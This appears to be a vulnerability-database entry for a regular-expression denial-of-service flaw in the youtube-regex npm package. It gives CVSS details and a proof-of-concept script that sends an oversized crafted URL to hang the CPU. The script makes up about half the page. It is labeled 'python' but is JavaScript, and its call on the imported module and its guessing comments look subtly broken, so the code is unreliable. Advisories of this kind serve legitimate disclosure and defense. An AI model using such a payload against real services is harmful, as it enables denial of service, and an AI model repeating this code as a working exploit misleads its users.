Regex Denial of Service in youtube-regex npm package through version 1.0.5.
CVSS Details
CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Configurations (Affected Products)
No configuration data available.
youtube-regex <= 1.0.5
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// Proof of Concept for CVE-2025-65122 (ReDoS in youtube-regex)
// This script demonstrates the denial of service vulnerability.
const youtubeRegex = require('youtube-regex');
// Construct a malicious payload that triggers catastrophic backtracking.
// A long string of repeated characters often breaks poorly defined regex.
const maliciousInput = 'http://youtube.com/watch?v=' + 'a'.repeat(1000) + '!';
console.log('Testing with payload length:', maliciousInput.length);
const start = Date.now();
// This regex operation will hang the CPU due to ReDoS
const isMatch = youtubeRegex.test(maliciousInput);
const duration = Date.now() - start;
console.log(`Match result: ${isMatch}`);
console.log(`Time taken: ${duration}ms`);
// Expected result: High CPU usage and significant time delay.